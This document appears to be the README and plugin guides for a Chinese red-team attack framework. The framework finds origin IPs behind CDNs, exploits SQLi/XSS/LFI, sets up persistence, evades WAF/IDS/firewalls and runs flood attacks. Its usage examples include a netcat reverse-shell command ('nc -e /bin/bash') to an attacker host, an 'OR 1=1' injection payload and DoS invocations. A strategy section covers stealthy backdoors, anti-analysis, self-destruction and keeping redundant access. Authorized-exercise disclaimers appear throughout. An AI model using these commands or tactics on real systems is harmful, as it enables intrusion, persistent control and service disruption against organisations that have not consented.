# ip-parser **Repository Path**: lets-go-fishing/ip-parser ## Basic Information - **Project Name**: ip-parser - **Description**: No description available - **Primary Language**: Unknown - **License**: Not specified - **Default Branch**: master - **Homepage**: None - **GVP Project**: No ## Statistics - **Stars**: 0 - **Forks**: 0 - **Created**: 2025-05-08 - **Last Updated**: 2025-05-22 ## Categories & Tags **Categories**: Uncategorized **Tags**: None ## README # IP 解析与攻击框架 ## 项目简介 本项目是一个红蓝对抗实操平台的红方(攻击方)工具。主要功能是根据给定的网络连接,寻找蓝方服务器的真实地址,然后对其实施攻击,使服务器无法正常提供服务。 ## 系统架构 - **main.go** - 负责服务启动和功能调度 - **internal/plugins/** - 以插件形式实现的各种攻击功能 - **internal/ui/** - 提供友好的终端交互界面 - **internal/logger/** - 系统日志记录功能 ## 命令行交互 系统启动后,将进入交互式命令行界面。主要支持以下命令: ``` help 或 h - 显示帮助信息 list 或 l - 列出所有可用插件 use 或 u - 使用指定的插件 exit 或 q - 退出程序 ``` 当选择某个插件后,可以使用以下命令: ``` help 或 h - 显示当前插件的帮助信息(包含所有参数说明) <参数>=<值> - 设置插件参数 run 或 r - 执行插件 back 或 b - 返回主菜单 ``` ## 插件系统使用指南 ### 1. IP 解析插件 (ip) 用于从 URL 或域名解析真实 IP 地址,并扫描开放端口。 **参数说明:** - `target` - 目标 URL 或域名(必填) - `port_range` - 端口扫描范围,格式为单个端口或范围(如 "80" 或 "1-1024"),默认为 1-1024 - `timeout` - 请求超时时间,单位秒(选填,默认为 5 秒) **使用示例:** ```bash use ip target=example.com port_range=1-1024,3306,6379,8080-8090 timeout=3 run ``` ### 2. 信息收集插件 (recon) 用于收集目标系统信息,包括端口扫描和服务识别。 **参数说明:** - `target` - 目标 IP 地址或域名(必填) - `ports` - 端口扫描范围,格式为单个端口或范围(如 "80" 或 "1-1024"),默认为 1-1024 **使用示例:** ```bash use recon target=192.168.1.1 ports=1-1024 run ``` ### 3. 漏洞利用插件 (exploit) 执行漏洞利用,支持常见 Web 漏洞的检测和利用。 **参数说明:** - `url` - 目标 URL(必填) - `type` - 漏洞类型(必填),支持: - `sql` - SQL 注入 - `xss` - 跨站脚本攻击 - `lfi` 或 `file` - 文件包含漏洞 - `param` - 用于测试的参数名(必填) **使用示例:** ```bash use exploit url=http://example.com type=sql param=id run # 或测试文件包含漏洞 use exploit url=http://example.com type=lfi param=page run ``` ### 4. 持久化控制插件 (persistence) 实现对目标系统的持久化控制。 **参数说明:** - `type` - 持久化类型(必填),支持: - `reverse_shell` - 反向 Shell - `scheduled_task` - 定时任务 - 对于反向 Shell: - `host` - 接收连接的主机(必填) - `port` - 接收连接的端口(必填) - 对于定时任务: - `command` - 要执行的命令(必填) - `interval` - 执行间隔(必填,如"30m"、"1h") **使用示例:** ```bash use persistence type=reverse_shell host=192.168.1.100 port=4444 run # 或 use persistence type=scheduled_task command=nc -e /bin/bash 192.168.1.100 4444 interval=30m run ``` ### 5. 防御绕过插件 (bypass) 用于绕过目标系统的安全防御,如 WAF 或流量加密。 **参数说明:** - `type` - 绕过类型(必填),支持: - `waf` - Web 应用防火墙绕过 - `encrypt` - 流量加密 - 对于 WAF 绕过: - `url` - 目标 URL(必填) - `param` - 测试参数(必填) - 对于流量加密: - `host` - 目标主机(必填) - `port` - 目标端口(必填) **使用示例:** ```bash use bypass type=waf url=http://example.com param=id run ``` ### 6. 拒绝服务攻击插件 (dos) 执行拒绝服务攻击,使目标系统无法正常提供服务。 **参数说明:** - `type` - 攻击类型(必填),支持: - `tcp` - TCP 洪水攻击 - `http` - HTTP 洪水攻击 - `udp` - UDP 洪水攻击 - `syn` - SYN 洪水攻击(概念演示) - 对于 TCP/UDP 攻击: - `host` - 目标主机(必填) - `port` - 目标端口(必填) - `packet_size` - 数据包大小,单位字节(选填,默认为 1024) - 对于 HTTP 攻击: - `url` - 目标 URL(必填) - `method` - HTTP 方法(选填,默认为 GET) - 通用参数: - `concurrency` - 并发连接数(选填,默认为 100) - `duration` - 攻击持续时间,单位秒(选填,默认为 60) **使用示例:** ```bash use dos type=tcp host=192.168.1.1 port=80 concurrency=200 duration=120 packet_size=2048 run # 或 use dos type=http url=http://example.com concurrency=150 duration=300 method=POST run ``` ### 7. 自动化攻击插件 (auto) 自动化攻击流程,从 URL 分析到攻击执行。 **参数说明:** - `url` - 目标 URL(必填) **使用示例:** ```bash use auto url=http://example.com run ``` ## 增强的交互体验 新版本提供了更友好的交互式体验,通过使用 `help` 命令可以随时查看当前插件的帮助信息: ```bash # 进入DOS攻击插件 use dos # 查看DOS攻击插件的帮助信息 help # 设置参数 type=tcp host=192.168.1.1 port=80 # 查看已设置的参数 h # 执行攻击 run # 返回主菜单 back ``` ## 使用场景示例 以下是一些常见使用场景的示例: ### 1. 完整攻击链示例 首先使用 IP 解析插件获取目标真实 IP 和开放端口: ```bash use ip target=example.com port_range=1-1024,3306,6379,8080-8090 run ``` 然后针对开放的 Web 端口进行漏洞扫描: ```bash use exploit url=http://example.com type=sql param=id run ``` 最后对目标执行拒绝服务攻击: ```bash use dos type=tcp host=192.168.1.1 # 上一步解析得到的IP port=80 # 发现的开放端口 concurrency=200 duration=120 run ``` ## 注意事项 1. 本工具仅供授权的红蓝对抗演练使用 2. 未经授权对目标系统进行攻击可能违反法律法规 3. 使用该工具造成的一切后果由使用者自行承担 ## 贡献指南 如需添加新插件,请在 internal/plugins 目录下创建新文件,并实现 Plugin 接口。在 main.go 的 registerPlugins 函数中注册新插件。 ```bash # 信息收集 use recon target=192.168.1.1 ports=1-1024 # 漏洞利用 use exploit url=http://example.com type=sql param=id # 持久化控制 use persistence type=reverse_shell host=192.168.1.100 port=4444 # 防御绕过 use bypass type=waf url=http://example.com param=id # 拒绝服务 use dos type=tcp host=192.168.1.1 port=80 concurrency=100 ``` # 网络侦察插件 (NetworkReconPlugin) ## 功能概述 网络侦察插件是一个全面的网络侦察工具,集成了 IP 解析、CDN 检测与绕过、端口扫描和服务识别等多种功能。该插件提供了三种工作模式,可以根据不同场景选择适合的侦察深度。 ## 主要功能 ### 1. IP 解析 - 支持从域名或 URL 解析 IPv4 地址 - 自动处理 HTTP 和 HTTPS URL 格式 - 提供 DNS 查询功能 ### 2. 端口扫描 - 支持自定义端口范围(单个端口、端口列表或范围) - 多线程并发扫描,提高扫描效率 - 自动识别开放端口上运行的服务 - 支持常见服务的识别(HTTP、SSH、FTP 等) ### 3. CDN 检测 - 通过多种方式检测目标是否使用 CDN - 支持 CNAME 记录分析 - 检查 HTTP 响应头中的 CDN 特征 - 识别主流 CDN 提供商(Cloudflare、Akamai、Fastly 等) ### 4. CDN 绕过技术 - 历史 DNS 记录分析 - SSL 证书关联分析 - 子域名枚举及 IP 解析 - 邮件服务器关联分析 - 内容指纹对比,验证真实源站 ### 5. 网站指纹识别 - 分析 HTTP 响应特征 - 提取网站标题和元数据 - 计算相似度评分 ## 工作模式 插件提供三种不同的工作模式: 1. **基础模式 (basic)**:执行基本的 IP 解析、端口扫描和 CDN 检测 2. **CDN 绕过模式 (cdn_bypass)**:专注于绕过 CDN,找到真实源站 IP 3. **全面扫描模式 (full)**:先执行基础扫描,如发现 CDN 则自动尝试绕过 ## CDN 绕过与防御绕过的区别 虽然 CDN 绕过和防御绕过都属于规避防护机制的技术,但它们有着明显区别: ### CDN 绕过 - **目标特定**:专门针对使用 CDN 服务隐藏真实服务器 IP 的网站 - **主要目的**:属于信息收集阶段,找到隐藏在 CDN 后面的原始服务器 IP 地址 - **技术方法**:历史 DNS 记录分析、SSL 证书分析、子域名枚举等 - **成功标志**:成功发现并确认网站的真实源服务器 IP 地址 ### 防御绕过(bypass 插件实现) - **范围广泛**:针对各种防御系统,包括 WAF、IDS/IPS、安全网关等 - **主要目的**:属于攻击执行阶段,让攻击流量或载荷绕过检测系统到达目标 - **技术方法**:流量加密与混淆、HTTP 请求变形、负载混淆、协议欺骗等 - **成功标志**:攻击载荷能够绕过防御系统并成功到达目标 简单来说,CDN 绕过帮助你找到目标在哪里,而防御绕过帮助你的攻击通过防火墙等防御机制到达目标。 ## 参数说明 | 参数名 | 描述 | 是否必须 | 默认值 | | ----------- | ----------------------------------------------------------- | -------- | ------ | | target | 目标域名或 URL | 是 | - | | mode | 工作模式: basic(基础), cdn_bypass(CDN 绕过), full(全面扫描) | 否 | basic | | port_range | 端口扫描范围,例如: 1-1024, 80,443,8080 | 否 | 1-1024 | | concurrency | 并发扫描线程数 | 否 | 30 | | timeout | 请求超时时间(秒) | 否 | 5 | | scan_depth | 扫描深度(1-4,越大越深入) | 否 | 2 | | wordlist | 自定义子域名字典路径 | 否 | - | ## 使用示例 ```go plugin := plugins.NewNetworkReconPlugin() err := plugin.Execute(map[string]interface{}{ "target": "example.com", "mode": "full", "port_range": "1-1000,3306,6379,27017", "concurrency": "50", "timeout": "10", "scan_depth": "3", }) if err != nil { fmt.Printf("执行失败: %v\n", err) } // 获取结果 results := plugin.GetLastResult() ``` ## 输出结果 插件执行后的结果包含以下信息: - 解析的 IP 地址列表 - 开放端口和服务列表 - CDN 信息(如果存在) - 可能的真实源站 IP(CDN 绕过模式) - 相似度评分(CDN 绕过模式) ## 安全和法律提示 本插件仅供安全研究和授权测试使用。使用前请确保: 1. 仅对自己拥有的系统或获得明确授权的系统进行扫描 2. 遵守当地法律法规和网络使用政策 3. 注意扫描强度,避免对目标系统造成负面影响 ## 开发说明 该插件支持进一步扩展和定制,包括: - 添加更多 CDN 识别规则 - 扩展服务识别库 - 实现云服务提供商分析功能 - 优化扫描算法和性能 # 漏洞利用与持久化控制详解 ## 漏洞利用(Exploit)与持久化控制(Persistence)的作用 ### 漏洞利用(Exploit) 漏洞利用是指利用目标系统中存在的安全缺陷或弱点,获取未授权访问或执行未授权操作的过程。在红队行动中,漏洞利用是突破目标防御的关键步骤。 **主要作用:** - 获取初始访问权限(突破外部防御) - 提升权限(从普通用户提升至管理员/系统权限) - 获取敏感信息(如数据库凭证、配置信息) - 为后续攻击行动提供立足点 - 验证安全漏洞的真实存在性和可利用性 ### 持久化控制(Persistence) 持久化控制是在获取目标系统访问权限后,建立长期稳定的访问通道或控制机制,确保即使在系统重启、密码变更等情况下仍能保持对目标的控制。 **主要作用:** - 建立长期稳定的访问通道 - 在授权测试期间保持对系统的持续访问能力 - 防止因临时连接中断而失去控制权 - 为进一步的横向移动和数据收集提供基础 - 模拟高级持续性威胁(APT)的真实攻击链 ## 最大化使用漏洞利用和持久化控制 ### 漏洞利用最佳实践 1. **多漏洞协同利用** - 结合使用多种漏洞类型(如 SQL 注入+文件包含+XSS) - 针对不同系统组件设计攻击链(前端、应用服务器、数据库) 2. **定制化利用方法** - 根据目标环境定制 Payload - 避免使用通用或已知的攻击模式,降低被检测风险 3. **隐蔽性技巧** - 使用加密通信隐藏攻击流量 - 分散攻击时间,避免触发异常检测 - 利用合法服务或协议作为载体(如 DNS 隧道) 4. **规避防御技术** - 针对 Web 应用防火墙(WAF)的绕过技术 - 避开入侵检测系统(IDS)的特征检测 - 利用防病毒软件的盲点 ### 持久化控制最佳实践 1. **多层次持久化** - 同时部署多种持久化机制,确保冗余 - 使用不同级别的持久化技术(用户级、系统级、内核级) 2. **隐蔽性策略** - 使用合法系统服务或计划任务伪装后门 - 修改时间戳避免文件修改检测 - 实现内存驻留技术,减少文件系统痕迹 3. **灵活的通信通道** - 建立多种回连方式(HTTP/S、DNS、ICMP 等) - 实现备用通信机制,提高可靠性 - 使用基于时间的触发器,减少通信频率 4. **自我保护措施** - 实现反调试和反分析功能 - 监测安全工具或分析行为,主动响应 - 自动恢复被删除或禁用的持久化组件 ## 组合使用策略 最大化这两种功能的关键在于将它们结合起来形成完整的攻击链: 1. **初始化攻击链** - 使用漏洞利用获取初始访问权限 - 立即部署基础持久化机制确保控制权 - 进行权限提升扩大操作范围 2. **扩大控制范围** - 使用已获取权限探索内网环境 - 识别关键系统并利用新漏洞进行横向移动 - 在战略位置部署多层次持久化控制 3. **长期控制策略** - 实施最小化通信原则降低检测风险 - 定期更新持久化机制避免被清除 - 建立多重后门确保访问冗余 4. **安全撤离计划** - 预设持久化控制的清除路径 - 实现自毁功能避免被分析 - 保留最小化隐蔽后门用于未来访问(授权情况下) ## 安全与伦理提示 这些高级技术仅应用于授权的安全测试环境: - 必须获得目标系统所有者的明确书面授权 - 所有操作应记录在案,保留完整的行动日志 - 在测试结束后,根据客户要求清除所有持久化机制 - 提供详细报告帮助组织修复发现的安全问题 # 防御绕过插件 (Bypass Plugin) 详细使用指南 ## 1. 插件概述 防御绕过插件是红队工具中的核心组件,主要用于绕过各种安全防护设施,为后续的渗透测试和攻击行动铺平道路。该插件能够绕过多种防护系统: - **Web 应用防火墙(WAF)绕过**:测试并突破各类 WAF 的防护 - **内容分发网络(CDN)绕过**:发现隐藏在 CDN 后的真实服务器 IP - **防火墙绕过**:测试各种防火墙绕过技术 - **入侵检测/防御系统(IDS/IPS)绕过**:避开入侵检测系统的监控 - **流量加密**:对通信流量进行加密,避免被监控和分析 ## 2. 基本命令格式 ``` bypass type=绕过类型 [参数1=值1 参数2=值2 ...] ``` ### 可用的绕过类型: - `waf` - Web 应用防火墙绕过 - `cdn` - CDN 绕过 - `fw` 或 `firewall` - 防火墙绕过 - `ids` 或 `ips` - 入侵检测/防御系统绕过 - `encrypt` - 流量加密 - `all` - 综合绕过(执行所有可能的绕过测试) ## 3. 详细用法示例 ### 3.1 WAF 绕过 WAF 绕过模式用于测试并绕过 Web 应用防火墙的保护机制。可以针对不同类型的攻击 payload 进行测试。 ``` bypass type=waf url=http://example.com param=id payload_type=sql ``` **参数说明:** - `url`: 目标网站 URL - `param`: 要测试的参数名称(默认为"id") - `payload_type`: 测试的有效载荷类型,可选值: - `sql` - SQL 注入 - `xss` - 跨站脚本攻击 - `cmd` - 命令注入 - `lfi` - 本地文件包含 **高级用法:** ``` # 针对XSS测试WAF绕过 bypass type=waf url=http://example.com/search.php param=q payload_type=xss # 针对命令注入测试WAF绕过 bypass type=waf url=http://example.com/ping.php param=host payload_type=cmd ``` **最佳实践:** 1. 先使用 WAF 绕过确定目标使用的 WAF 类型 2. 针对特定 WAF 使用对应的绕过技术 3. 成功绕过后使用相应的攻击插件进行渗透测试 ### 3.2 CDN 绕过 CDN 绕过用于发现隐藏在 CDN 后面的服务器真实 IP 地址。 ``` bypass type=cdn domain=example.com ``` **参数说明:** - `domain`: 目标域名 **高级用法:** ``` # 指定超时时间 bypass type=cdn domain=example.com timeout=10 ``` **最佳实践:** 1. 获取到真实 IP 后立即记录 2. 使用发现的真实 IP 直接对目标服务器进行扫描 3. 将真实 IP 与子域名信息结合分析,可能发现更多资产 ### 3.3 防火墙绕过 防火墙绕过用于测试和绕过网络防火墙的限制。 ``` bypass type=fw host=192.168.1.1 port=80 ``` **参数说明:** - `host`: 目标主机 IP - `port`: 目标端口(默认 80) - `scan_ports`: 要扫描的端口范围(默认为"20-25,53,80,443,3389,8080,8443") **高级用法:** ``` # 自定义端口扫描范围 bypass type=firewall host=192.168.1.1 scan_ports=1-1000 ``` **最佳实践:** 1. 利用发现的开放端口建立隧道 2. 组合使用多种绕过技术,如协议混淆+源端口欺骗 3. 针对检测到的防火墙类型选择合适的绕过策略 ### 3.4 IDS/IPS 绕过 IDS/IPS 绕过用于避开入侵检测和防御系统的监控。 ``` bypass type=ids host=192.168.1.1 port=80 ``` **参数说明:** - `host`: 目标主机 IP - `port`: 目标端口 - `payload_type`: 测试的有效载荷类型(同 WAF 绕过) **高级用法:** ``` # 使用特定类型的有效载荷测试 bypass type=ids host=192.168.1.1 port=80 payload_type=cmd ``` **最佳实践:** 1. 使用慢速扫描和低频请求避免触发基于频率的告警 2. 组合使用流量分段和协议混淆技术 3. 对关键有效载荷进行多层编码 ### 3.5 流量加密 流量加密用于加密通信流量,避免被监控和分析。 ``` bypass type=encrypt host=192.168.1.1 port=443 ``` **参数说明:** - `host`: 目标主机 IP - `port`: 目标端口(默认 443) **最佳实践:** 1. 在敏感操作前先建立加密通道 2. 与隧道技术结合使用效果更佳 3. 针对重要资产的交互必须使用加密通信 ### 3.6 综合绕过 综合绕过会依次执行所有可用的绕过测试,全面评估目标安全性。 ``` bypass type=all domain=example.com host=192.168.1.1 ``` **参数说明:** - 支持所有上述模式的参数组合 **最佳实践:** 1. 在初始侦察阶段使用此模式进行全面评估 2. 根据评估结果选择针对性的绕过策略 3. 为大型目标创建定制的绕过方案 ## 4. 与其他插件协同使用 防御绕过插件最大的价值在于与其他攻击插件协同使用: 1. **侦察 → 绕过 → 攻击链**: ``` # 步骤1: 使用网络侦察插件 network_recon target=example.com mode=full # 步骤2: 使用绕过插件 bypass type=cdn domain=example.com bypass type=waf url=http://real-ip/admin.php # 步骤3: 使用漏洞利用插件 exploit target=http://real-ip/admin.php type=sqli ``` 2. **自动化攻击链中使用**: ``` # 自动化攻击插件会自动调用绕过功能 auto_attack target=example.com mode=stealth ``` ## 5. 高级技巧 ### 5.1 自动化绕过脚本 创建批处理脚本自动执行一系列绕过测试: ```bash # 创建bypass_chain.sh echo "bypass type=cdn domain=example.com" > bypass_chain.sh echo "sleep 3" >> bypass_chain.sh echo "bypass type=fw host=\$(cat real_ip.txt) port=80" >> bypass_chain.sh echo "sleep 3" >> bypass_chain.sh echo "bypass type=waf url=http://\$(cat real_ip.txt)/login.php param=username payload_type=sql" >> bypass_chain.sh ``` ### 5.2 持久化绕过 对于需要长期渗透的目标,建立持久化的绕过通道: ``` # 先使用防御绕过 bypass type=fw host=192.168.1.1 port=22 # 然后使用持久化插件建立长期通道 persistence type=ssh host=192.168.1.1 port=22 user=root passwd=password ``` ### 5.3 多层次绕过 对于高安全性目标,结合多种绕过技术: ``` # CDN绕过找到真实IP bypass type=cdn domain=secure-bank.com # 防火墙绕过找到可利用端口 bypass type=fw host=[真实IP] scan_ports=1-65535 # IDS绕过避免触发告警 bypass type=ids host=[真实IP] port=[发现的端口] # WAF绕过针对特定漏洞测试 bypass type=waf url=http://[真实IP]:[端口]/login payload_type=sql ``` ## 6. 故障排除 ### 6.1 常见问题解决 1. **无法连接目标:** - 检查网络连接 - 确认目标 IP/域名是否正确 - 尝试增加超时参数: `timeout=30` 2. **绕过测试失败:** - 尝试不同类型的有效载荷 - 使用更高级的混淆技术 - 降低请求频率避免触发防护 3. **插件报错:** - 确保所有必需参数都已提供 - 检查参数格式是否正确 - 尝试使用 verbose 模式获取更多信息: `verbose=true` ## 7. 实战案例 ### 案例一: 电子商务网站渗透 ``` # 1. 发现真实IP bypass type=cdn domain=shop.example.com # 发现真实IP: 203.0.113.10 # 2. 绕过WAF测试SQL注入 bypass type=waf url=http://203.0.113.10/products.php param=id payload_type=sql # 发现可绕过WAF的Payload: "%27%20OR%201=1--" # 3. 利用SQL注入漏洞 exploit target=http://203.0.113.10/products.php method=post param=id payload="%27%20OR%201=1--" ``` ### 案例二: 内部网络渗透 ``` # 1. 绕过防火墙 bypass type=fw host=10.0.0.1 scan_ports=1-65535 # 发现开放端口: 22, 80, 3389 # 2. 建立隧道绕过IDS bypass type=ids host=10.0.0.1 port=22 bypass type=encrypt host=10.0.0.1 port=22 # 3. 利用发现的服务 exploit target=10.0.0.1 port=22 type=ssh_bruteforce ``` ## 8. 安全和法律提示 **重要提示:** 防御绕过插件仅限于授权的安全测试和红蓝对抗演练中使用。未经授权对目标系统使用本插件可能违反法律法规,后果自负。 在使用此插件进行安全测试前,请确保: 1. 获得目标系统所有者的明确授权 2. 遵守当地法律法规和行业规范 3. 仅在指定范围内进行测试 4. 保持测试活动的完整记录 5. 及时报告发现的安全问题